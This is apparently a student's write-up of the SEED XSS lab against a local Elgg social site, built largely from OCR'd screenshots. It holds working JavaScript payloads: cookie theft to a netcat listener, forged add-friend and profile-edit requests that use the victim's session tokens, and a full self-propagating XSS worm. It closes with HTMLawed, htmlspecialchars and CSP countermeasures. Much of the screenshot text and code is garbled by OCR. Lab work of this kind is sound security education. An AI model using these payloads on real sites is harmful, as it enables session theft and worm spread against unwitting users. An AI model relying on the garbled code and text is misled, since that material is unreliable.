Task 1: Posting a Malicious Message to Display an Alert Window

First added both Admin and Charlie as friends.
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Then | edited Charlie’s profile in the brief description session and added the JavaScript code
which is supposed to generate the alert when any of Charlie’s friends visits his profile.
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Next, | try to check out Charlie’s profile from the Admin’s account.

illa Firefox

*  Admin's friends: XSSL. X

D www xsslabelgg.com/friends/ad

Most Visited [ SEED Labs £33 Sites for Labs

And there we have it, mission accomplished, alert displayed.

Task 2: Posting a Malicious Message to Display Cookies

Here, | edited the JavaScript program from task 1. The image below shows it.

@ Editprofile: XsSLabSii X
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Again, after attempting to visit Admin’s profile from Charlie’s account, | got cookie displayed in
an alert window.
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xsslabelgg.com,

Most Visited [5SEED Labs [ Sites for Labs

Elgg=pdfsOhpvthf65077jktni8fgl

Task 3: Stealing Cookies from the Victim’s Machine

Here, | will first edit the Brief description field to contain a JavaScript that triggers an HTTP
request to the attacker, with the cookies appended to the request instead of the cookies being
displayed to the victim.

But before accessing the profile, let’s run the netcat program to listen for incoming requests at
the address: 127.0.0.1:5555

The image below shows the terminal before the request is sent by accessing Admin’s profile

SeedUbuntu Clone1 [Running]

Terminal

, Terminal

@ [02/22/24]seed@VM:~%$ cd Desktop/XSS/

= [02/22/24]seed@VM:~/.../XS5% nc -1 5555 -v
_,__ ilstening on [0.0.0.0] (family O, port 5555)

Next, we see the connection information including the cookie being appended just before the
Host line.



SeedUbuntu CloneT [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

Terminal

[02/22/24]seed@VM:~% cd Desktop/XSS/

[02/22/24]seed@VM:~/.../XSS5% nc -1 5555 -v

Listening on [0.0.0.0] (family O, port 5555)

Connection from [127.0.0.1] port 5555 [tcp/*] accepted (family 2, sport 35982)
GET /?7c=Elgg%3D81i45t8hdodlknc35485cc7hg7 HTTP/1.1

Host: 127.0.0.1:5555

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*

Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.xsslabelgg.com/profile/admin

Connection: keep-alive

[02/22/24]seed@M:~/ . ../XSS$ |
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Task 4: Becoming the Victim’s Friend

To understand how to forge HTTP requests from the victim’s browser without the intervention of
the attacker, let’s examine the parameters sent to the server when a user tries to add a friend.
For this experiment, | will try adding Charlie as a friend of Boby. See the snapshot below for the
add friend request and the parameters sent.

Charlle : XSS Lab Site - Mozilla Firefox
@ File Edit View History Bookmarks Tools Help
@ Admin : XSS Lab Site X @ Charlie: XSS Lab Site X

€ c @ xsslabelgg.com, -

£+ Most Visited [5 SEED Labs [ Sites for Labs

Charlie Friends

Brief description:
No g 4

Remove friend

Send a message

Efep-leie] IE)C)

Report user
Blogs
Bookmarks
Files
3 3 inspector [] Console [ Debugger () Style Editor (@ Performance {k Memory = Network & Storage
i @ [ HTML CSS JS XHR Fonts Images Media WS Other Persist Logs Disable cache
Sta.. Meth... Fil Dc Cause Type Transfer. Size 0m3 5125 10245 Headers Cookies Params | Response

Querystring

}

friend: 46
addz..| Size/transferred size of all requests

@ 15requests 114.02KB/3.81KB transferred = Finish: 19.38s DOMContentLoaded: 1.64s load: 3.70s

From the screenshot above, the most important parameters that will be needed for us to
succeed in our attack are the tokens and the friend id. We need to specify these parameters in



the HTTP Request that gets sent when the script is run for Samy to be added as a friend of
whoever visits his page. So let’s see what Samy’s ID is. | did this by using HTTP Header Live to
capture the login request of Samy and then inspecting the source page to find the
“owner_guid”:47. Alternatively, | could have found Samy’s ID directly by adding him as
someone’s friend and checking the parameters for that add friend request.

http://www.xsslabelgg.com/activity - Mozilla Firefox
e File  Edit istory
@ @ Admin :) Site ;. AllSite PEETRIN hitp://www.xsslabelgg.cor X

c @ ) view-source:http://www.xsslabelgg.com/activity - @ o
£ Most Visited F3SEED Labs E3sites for Labs

@ HTTP Header Live v X

http://www.xsslabelgg.com/action/
Host: www.xsslabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Lir
Wccept: text/html,application/xhtml+xml,é |  ss=""/></a></div>
Wccept-Language: en-US,en;q=0.5
Mccept-Encoding: gzip, deflate

Referer: http://www.xsslabelgg.com/
Content-Type: application/x-www-form-urle
Content-Length: 88

iCookie: Elgg=aieplq3jvqbvj6aSuvb32apir?
Connection: keep-alive
pgrade-Insecure-Requests: 1

| _elgg_token=WNEES7u7VPAhYr2KZNuw
POST: HTTP/1.1 362 Found

Date: Thu, 22 Feb 2024 22:52:53 GMT
Gerver: Apache/2.4.18 (Ubuntu)

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
ICache-Control: no-store, no-cache, must-i
Pragma: no-cache

Set-Cookie: Elgg=kdupdjlr5tj54k8roiBrafic
Location: http://www.xsslabelgg.com/
Content-Length: @

Keep-Alive: timeout=5, max=100
[Connection: Keep-Alive 3f 4ccl THI FuwQNBBk/1/47 /profile/a7tiny. jpg” alt="Samy” title="Samy" classe""/></a></div>

iContent-Type: text/html;charset=utf-8
0:/ /weiw . xs51abelgg. com/pages/owner/samy” class="elgg-menu-content*>Pages</a></1i><li class="elgg-menu-item-thewire"><a href="http://wws

icon-rss elgg-icon fa fa-rss-square*></span></a></li><li class="elgg-menu-item-report-this“><a href="http://www.xsslabelgg.com/reporte

http://www.xsslabelgg.com/

Host: www.xsslabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Lir
Mccept: text/html,application/xhtml+xml,é
Wccept-Language: en-US,en;q=0.5
Mccept-Encoding: gzip, deflate

Referer: http://www.xsslabelgg.com/
Cookie: Elgg=k4up4jlr5tj54k8roi8ra0io6s

{"guid":47, "type": "user","subtype": ", "awner_guid":47,"container_guid®:0,"site_guid":1,"time_created":"2017-87-26720:30:59+80:00", "time

Clear Options File Save Recurd

Data autoscroll

At this point, | modified the sendurl to specify Samy’s ID so that he is added when the attack s
executed.



SeedUbuntu Clonel [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help
addfriend.js (~/Desktop/XSS) - gedit

Open ¥ [#

<script type="text/javascript">
window.onload = function () {
var Ajax=null;

-]
== var ts="& elgg ts="+elgg.security.token. elgg ts; @
! S l
J//Construct the HTTP request to add Samy as a friend.

var token="& elgg token="+elgg.security.token. elgg token; @
var sendurl= "http://www.xsslabelgg.com/faction/friends/add?friend=47" + token + ts;

J//Create and send Ajax request to add friend

— Ajax=new XMLHttpRequest();

_— Ajax.open("GET",sendurl,true);

F—Al1jax.setRequestHeader ("Host","www.xsslabelgg.com");

E Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
i " jax.send();

</script>|

Next, let’s edit Samy’s profile and paste the script in the About me field:

Edit profile : XSS Lab Site - Mozilla Firefox

= File Edit View History Bookmarks Tools Help

@ Admin Lab Site Pl @ Edit profile: XSS LabSit X

C o D www.xsslabelgg.com
£+ Most Visited 51 SEED Labs 5 Sites for Labs

Activity Blogs Bookmarks Files Groups More »

Edit profile
Display name 'Y
Samy
Sam
About me Visual edit . ¥
<script type="text/jayaseript™> Blogs
window.gnioad = function () {
var Ajax=null Bookmarks
var ts="& _elgg ts="+glgg. security.token.__elgq ts.
var token="& _elgg token="+glgg.security.token.__ejgg token; Files
/IConstruct the HTTP request to add Samy as a friend. Pages
var sendurl= "hup:/mww.xsslabelgg.com/action/friends/add?friend=47" + token + ts 3
Wire posts
/ICreate and send Ajax request to add friend
Aiav=new YMI HitnDaniect\
Edit avatar
Public v
Brief description Change your settings
Account statistics
Public v Notifications
" Group notifications
Location

With the attack prepared, we’re ready to witness what happens if any of the users try visiting
Samy’s profile. We expect Samy to be added automatically as a friend to that user. Let’s try with
Boby and Charlie.



Below is a screenshot that shows Boby’s current friends prior to the attack (before visiting
Samy’s profile). Boby’s only friend now is Charlie.

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

My Activity Search
All Mine Friends X
Filter = Show All v §R Boby

Blogs

. Boby is now a friend with Charlie 4 hours ago Bookmarks

- ﬁ Files

Pages
Wire posts

And here’s what Boby’s friend list looks like after visiting Samy’s profile. Samy was added
automatically because of the attack.

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Boby's friends Search

§ Charlie X

@ samy §B Boby

Blogs
Bookmarks
Files
Pages

Wire posts

Same is shown for Charlie below. His only friend was Admin, but Samy got added after Charlie
visited Samy’s profile.



@& Charlie's friends: XSSL- X e

(&) c @ @ www.xsslabelgg.com/friends/charlie e @ | Q search

£} Most Visited £5SEED Labs £ Sites for Labs

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Charlie's friends
1 Admin X
‘,"."‘ Charlie

Blogs
Bookmarks
Files

Paces

@ www xsslabelgg.com/friends/charlie

ost Visited [5 SEED Labs [ Sites for Labs

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Charlie's friends

‘-', | #min b 4
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A Files
[ 1

Pages

v
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NB: I noticed that the attack affected Samy himself, as he has been added as his own friend.



XSS Lab Site

Activity Blogs Bookmarks Files Groups More » Log in

Latest activity Search

. Samy is now a friend with Samy 10 minutes ago Login

. . Username or email

Admin is now a friend with Boby 25 minutes ago
Password

Register | Lost password

Charlie is now a friend with Admin 2 days age

Admin is now a friend with Charlie 2 days age

. Boby is now a friend with Charlie 4 hours ago
) Remember me

2. The attack will not work if the code is added using the Editor mode, because the extra code
added makes it not to be rendered as a script and hence converted to Unicode, the reason the
attack will fail.

Task 5: Modifying the Victim’s Profile

First, let’s find out how a legitimate user edits his/her profile in Elgg, thus how the POST request
is constructed.



Edit profile : XSS Lab Site - Mozilla Firefox

le Edit View History Bookmarks Tools Help
@ @ Admin : XSS Lab Site Sl @ Editprofile: XSSLab Sl X
< Cc @ i xsslabelgg.com, - QN
£+ Most Visited E5SEED Labs {5 Sites for Labs
= Display name
E @ HTTP Header Live v x play X
Samy
~ Sam
"' | About me . y
B I UZL § &=« = By @ &3 Blogs
E We want to change the brief description of every user that visits Samy's profile to what is specified below. Bookmarks
. Files
—
Pages
Wire posts
- i
" Edit avatar
body: 0. 4 Change your settin
Public v Account statistics
Notifications
Brief description

Y the BEST Group notifications
Samy is the BES

1 Public A
[® O inspector [ Console [ Debugger {} StyleEditor (@ Performance £k Memory = Network B Storage
I @ MY HTML CSS JS XHR Fonts Images Media WS Other Persist Logs Disable cache
Meth... File Domain Cause Type Transfer.. Size oms 5128

e Clear Options File Save Record

el Data autoscroll 25requests  160.22KB/3.91KB transferred  Finish: 13.03s DOMContentLoaded: 1.84s load:8.09s

Let’s observe the POST request when the above changes are saved: So aside the timestamp
and the security token, the guid as well as the description/changes made are all sent as
parameters to the server. This is very useful information in crafting our script (especially the
order in which the various parameters are appended in the url) to execute the attack.

) 7:41PM

& Samy: XS5 Lab Site

«
% Most Visited FSEED Labs EJsites for Labs

xsslabelgg.com,

moz-extension://9c65e60c-10bd-4af1-9099-588e0db9db35 - HTTP Header Live Sub - Mozilla Firefox

@ HTTP Header Live ~ POST ¥ htlp',’fwww xsslabelgg.com/action/profile/edit

iosT: wwy . xsslabelgg. ¢

user-Agent: Mozilla/s, e l:u Ubuntu; Linux i686; rv:66.9) Ge(szslwwl Firefox/60.8
[Accept: text/himl, app'lxcatmnfxﬂml-anl application/xml:q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=8.5

laccept-Encading: gzip, deflate

[peferer: http://ww.xsslabelgg.com/profile/samy/edit

[Content-Type: apg;;(auuw‘s it - formeurlenceded

http://www.xsslabelgg.com/action/
Host: www.xsslabelgg.com

User-Agent: Mozilla/5.8 (X11; Ubuntu; Lir
Accept: text/html,application/xhtml+xml,:
jAccept-Language: en-US,en;q=0.5

ficcept-Encoding: gzip, deflate Cookie: Eﬂg-tqrksmuurpssufhtmummsz
Referer: http://www.xsslabelgg.com/profil IConnection: keep-aliv ¢
Content-Type: application/x-www-form-urle Upgrade-Insecure- Raquests 1
IContent-Length: 627

Cookie: Elgg=1rk6tou9rpb5ufhtmvcdm]jfvs2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
| _elgg_token=nJQhBP7_qkmCXS43uH6Q
Gaccesslevel[description]=2&brief
POST: HTTP/1.1 302 Found
Date: Fri, 23 Feb 2024 ©0:37:34 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Thu, 19 Nov 1981 68:52:00 GMT
ICache-Control: no-store, mo-cache, must-i
Pragma: no-cache

Location: http://www.xsslabelgg.com/prof:

[ e1gg_token=nJOnBP7_qkmCX543uNBONgG__elgg 15-17086483185nane-5anybaescription-<p>we want to change the brief description of every usel

Content-Length: 8 send Content-Length:567
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive TTEdTavatar T
Content-Type: text/html;charset=utf-8
= Blogs
::;R.mﬁs.égz};ghﬁlﬁg.cnm,’pruflle [3 C}inspector [ Console (O Debugger ()} Style Editor (@ Performance {h Memory = Metwork & Storage B-EE&0-¢H
User-Agent: Mozilla/5.8 (X11; Ubuntu; Lir 1 & [ HTML CSS5 JS XHR Fonts Images Media WS Other Persist Logs Disable cache
Accept: text/html,application/xhtml+xml,: . e
lccept -Language: en-US,en;qud.5 a..  Meth.. FilL Dc | Cause Type | 1 Headers Cookies Farams Response Timings
lAccept-Encoding: gzip, deflate POST edit document html 4.0]
Referer: http://www.xsslabelgg.com/profil GET samy .. document html 4,00 ~Form data
Cookie: Flao=1rk6taudroaSufhtmvcdnifys2 ) " elgg_token: nJQhOP7_qkmCX543uH6Qmg
- _elgg_ts: 1708648318
Clear Opticas File Save Racord accesslevel[briefdescription]: 2
accesslevel[contactemail]: 2
Data | autoscroll @ 15requests 135.13KB/8.08KBtransferred Finish: accesslevelldescriptionl: 2

After observing the capture from the HTTP Header Live, | edited the script as follows:



modifyProfile.js (~/Desktop/XSS) - gedit

<script type="text/javascript's
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp _ elgg ts
//and Security Token _ elgg token

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.quid;

var ts="& elgg ts="+elgg.security.token. elgg ts;

var token="& elgg token="+elgg.security.token. elgg token;

var desc="&briefdescription=Samy is the BEST!";

//Construct the content of your url.

var sendurl="http://www.xsslabelgg.com/action/profile/edit";
var content=token + ts + userName + desc + guid;

var samyGuid=47;

if(elgg.session.user.guid!=samyGuid)

//Create and send Ajax request to modify profile
var Ajax=null;

Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);

}

1

</script>

Next, | will edit Samy’s profile by pasting the above code into his About Me field and see if the
attack works.

A/

Activity Blogs Bookmarks Files Groups

Edit profile e
Display name X
Samy
About me Visual editor . Samy
VO YRS U SIS L
var guid="&guid="+elgg.session.user.guid; Blogs
var ts="&__elgg 1s="+glgqg.security.token.__elag_ts;
var oken="&__elgg token="+glgg.security.token. _ elgg token; Bookmarks
var desc="&hrigfdescription=Samy is the BEST!"; }

Files
l[Construct the content of your yrl. Pages
var sendurl="http:/lwww.xsslabelgg.com/action/profile/edit"; g
var content=token + ts + yserName + desc + guid; | Wire posts
var samyGuid=47;

Edit avatar

Public 2 Edit profile

Brief description Change your settings



With the script saved, let’s go ahead and see if anyone who tries to visit Samy’s profile gets
his/her profile modified. To be specific, let’s check for Charlie. We’re expecting his Brief
Description to change to “Samy is the BEST!”

To be sure the attack really works, | first checked Charlie’s profile from Samy’s account, and this
is what it looked like:

(— Cc @ @ www.xsslabelgg.com/profile/charlie e @ 17| | Q search
£} Most Visited 5 SEED Labs [ Sites for Labs

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Chal'lie Friends

Brief description: .
About me ;

| made some changes here fo understand the edit process...

Add friend
Send a message
Report user

Blogs

And this is what Charlie’s profile looks like after the attack:

Charlie : XSS Lab Site - Mozilla Firefox

story Bookmarks

@ cCharlie: XSS Lab Site

® www.xsslabelgg.com/profile/charlie

Most Visited [ SEED Labs [ Sites For Labs

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Charlie Friends
Brief description: Samy is the BEST!

About me n

| made some changes here to understand the edit process...

\_A
s>_ |
Ll Edit profile
Edit avatar
Bloas

Question 3: Line @ is needed because, without it, the attack affects Samy himself.



So, with line ® commented out, let’s save the changes in Samy’s profile and then see what
happens. As shown below, Samy’s own Brief Description is modified the moment we save the
changes.

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Edit profile .
Display name b
Samy
! Samy
About me Edit AL Samy is the BEST!
B I UL § i+ +==M»EEEH Blogs
Bookmarks
Files
Pages
Wire posts
Edit avatar
Edit profile
4 Change your settings
Public v Account statistics
Brief description Notifications
Samy is the BEST! Group notifications

Task 6: Writing a Self-Propagating XSS Worm

To have the worm self-replicate itself from the first person that visits Samy’s profile to other
people who visits a victim’s profile, | edited the script from the last attack as shown below:



SeedUbuntu Clonel [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

xssWorm.js (~/Desktop/XS5) - gedit

Open ¥ [+

<script type="text/javascript" id="worm"=>
window.onload = function(){

var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script=";

// Put all the pieces together, and apply the URI encoding
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

// Get the name, quid, timestamp, and token.

var name = "&name=" + elgg.session.user.name;

var guid = "&quid=" + elgg.session.user.quid;

var ts = "& elgg ts="+elgg.security.token._ _elqgg_ts;

var token = "&_ _elgg_token="+elgg.security.token.__elgg_token;

1 IEle). k)

J// Set the content of the description field and access level.
var desc = "&description=Samy is the BEST! Self-Replicated..|' + wormCode;
desc += "Raccesslevel[description]=2";

// Send the HTTP POST request
var sendurl="http://www.xsslabelgg.com/action/profile/edit";
var content = token + ts + name + desc + guid;

// Construct and send the Ajax request
var samyguid=47;
if (elgg.session.user.guid!=samyguid)

/| Create and send Ajax request to modify profile

var Ajax=null;

Ajax = new XMLHttpRequest();

> Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
I ég‘ Ajax.send(content);

ElcEle

J// Construct the HTTP request to add Samy as a friend.

sendurl= "http://www.xsslabelgg.com/action/friends/add?friend="+samyguid + token + ts;
var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("GET",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();

}

<fscript=

0

Now let’s copy the above code to Samy’s profile and save it.



XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Edit profile Search
Display name X
Samy
) Samy
About me Visual edior Samy is the BEST!
varts ="& elgg ts="+elgg.security.token.  elgg ts;
var token = "&__elgg token="+glgg.security.token.__glgg token; Blogs

I Set the content of the description field and access level. | Bookmarks

var desc = "&description=Samy is the BEST! Self-Replicated..” + wormGCode: Files
desc  += "gaccesslevelldescription]=2";

If Send the HTTP POST request
var sendurl="http:/fwnxsslabelgg.com/action/profile/edit"; Wire posts
var content = token + ts + name + desg + guid:

Pages

7 Edit avatar

| Public v ) )
Edit profile

Brief description

Samy is the BEST!

Change your settings

Account statistics

| (Public v Notifications

Next, | will login with Alice’s credential, and she shouldn’t have any friends at first..

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Add widgets
Friends

No friends yet.

| Edit profile |

| Edit avatar ‘

Blogs
Bookmarks

o

From the activity page in Alice’s account, | will try to access Samy’s profile. From there, | go back
to Alice’s profile, and we should see Samy as a friend and her description should have
something related to “Samy is the BEST! Self-Replicated..”.



XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

Add widgets

Friends

Alice
About me
Samy is the BEST! Self-Replicated..

| Edit profile |
| Edit avatar |

Blogs

Now instead of visiting Samy’s page directly to be infected, | will use Admin’s account to visit
Alice’s account and the worm should self-replicate, adding Samy as a friend of Admin.

Admin’s friend list before visiting Alice’s profile: Admin is friends with only Boby and Charlie.

XSS Lab Site

Activity Blogs Bookmarks Files Groups More »

My Activity Search
All Mine Friends b §
Filter = Show All v A min
' Admin is now a friend with Boby & hours age Blogs
1 . Bookmarks
Files
' Admin is now a friend with Charlie 2 days ago Pages

1 tﬁ Wire posts

Powered by Elgg

Admin’s friend list after visiting Alice’s profile: Samy is now listed.



'x [N LY ] [ (1) J. |
ADD Lab dite

Activity Blogs Bookmarks Files Groups More =»

Admin's friends

§B Boby X

& Charlie L Admin
’ Samy is the BEST! |7
Samy Blogs
Samy is the BEST!
Bookmarks
Files
Pages
Wire posts

At this point, before continuing to the next task, let’s turn to Elgg’s built-in countermeasures.
First, let’s activate HTMLawed as shown below:

File Edit ] story Book xs Tools Help

@ Admin:X55Lab s @ Plugins : XS5 Lab Site x

T c @ i xsslabelgg.com o @ 0 n @ €

£ Most Visited 5 SEED Labs [5 Sites for Labs

XSS Lab Site Administration

Plugins Administer
Filter T Dashboard
All plugins  Active plugins | Inactive plugins Bundled Non-bundled Admin Communication Content Development Enhancements » Statistics
Security and Spam |  Service/AP| | Social | Themes Utiities Web Services Widgets » Users
Deactivaie HTMLawed » Utilities
Deactivate User Validation by Email Configure
Upgrades

» Appearance

Plugins

Next, let’s enable another PHP method called \htmlspecialchars()

& [02/23/24]seed@VM: . ../elgg$
[02/23/24]seed@VM: . ../elgg$

'[02/23/24]seed@VM: .../elgg$
[02/23/24]seed@VM:.../elgg$ cd ~/
[02/23/24] seed@VM:~$ cd /var/www/XSS/Elgg/vendor/elgg/elgg/views/default/output/
[02/23/24]seed@VM: .. ./output$ ls
access.php dropdown.php friendlytime.php iframe.php longtext.php tag.php url.php
checkboxes.php email.php friendlytitle.php img.php pulldown.php tags.php

date.php excerpt.php icon.php location.php radio.php text.php

[02/23/24]seed@VM: .. ./output$

[02/23/24]seed@VM: . ../output$ gedit text.php

[02/23/24] seed@VM: . ../output$ gedit url.php

[02/23/24]seed@VM: . ../output$ gedit dropdown.php
& [02/23/24]seed@VM:.../output$ gedit email.php

[02/23/24]seed@VM: . ../output$ |




text.php (/var/fwww/X55/Elgg/vendorfelgg/elgg/views/default/output) - gedit

—
* ¥ % ¥ % ¥ & * ¥ -

S

Elgg text output
Displays some text that was input using a standard text field

@package Elagg
@subpackage Core

@uses Svars['value'] The text to display

kcho htmlspecialchars($vars['value'], ENT QUOTES, 'UTF-8', false);

—
E echo Svars['value'];
—

Task 7: Defeating XSS Attacks Using CSP

Below is the python code that we execute to run the web server that sets the Content Security
Policy.

http_server.py (~/Desktop/XSS) - gedit

e

Open v [+l
#!/usr/binfenv python3

) ﬁfrom http.server import HTTPServer, BaseHTTPRequestHandler
5. from urllib.parse import *#*

def do_GET(self):
0 = urlparse(self.path)
f = open("." + o.path, 'rb")
self.send response(208)
self.send_header('Content-Security-Policy',

"default-src 'self';"

"script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")
self.send header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(f.read())
f.close()

[] class MyHTTPRequestHandler (BaseHTTPRequestHandler):
L=

httpd = HTTPServer(('127.8.0.1"', 8000), MyHTTPRequestHandler)
- httpd.serve forever()|

Next, we run the server and check the sample websites running on the server as shown below.
We realize that some areas are failing because they do not conform to the CSP rules.



Mozilla Firefox
File

@ XssLab site

<« c
i Most Visited 5 SEED Labs [ Sites for Labs

CSP Test

1. Inline: Correct Nonce: OK

Edit View History Bookmarks Tools Help

S EIMDICEERGINE: DSl example68.com:8000/cspte X | example79.com:8000/cspte X | =+

@ www.example32.com:8000/c

2. Inline: Wrong Nonce: Failed
3. Inline: No Nonce: Failed

4. From self: OK

5. From example68.com: OK

6. From example79.com: Failed
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1. [nline: Correct Nonce: OK
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2. Inline: Wrong Nonce: Failed
3. Inline: No Nonce: Failed

4. From self: OK

5. From example68.com: OK

6. From example79.com: OK

Click me



From example32.com in the screenshot above, Area 2 is failing because we specified a wrong
nonce value for the inline scripting. Area 3 fails because no nonce value is specified. Area 6 also
fails because our server program does not know the website specified as the script source (src
= http://www.example79.com:8000)

So, to make sure fields 1, 2, 4, 5 and 6 all display OK, | made the following changes to the server
program as shown in the snapshot below: For field 2, | added the nonce value used to the server
program, for field 6, | added the website being referenced as a trusted source.

http_server.py (~/Desktop/XSS) - gedit

Open ¥ 1

http_server.py x *csptest.html

‘#!Iusr[btn/env python3

from http.server import HTTPServer, BaseHTTPRequestHandler
? from urllib.parse import
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
def do GET(self):
o = urlparse(self.path)
f = open("." + o.path, 'rb")
self.send response(200)
self.send_header('Content-Security-Policy’,
"default-src 'self';"
"script-src 'self' *.example68.com:8080 *.example79|.com:8006 'nonce-1rA2345' 'nonce-2rB3333' ")
self.send_header('Content-type', 'text/html')
self.end _headers()
self.wfile.write{f.read())
f.close()

1 JENE

httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
httpd.serve_forever()

e

After the above changes to the server program, fields 1, 2, 4, 5 and 6 all display OK are required.
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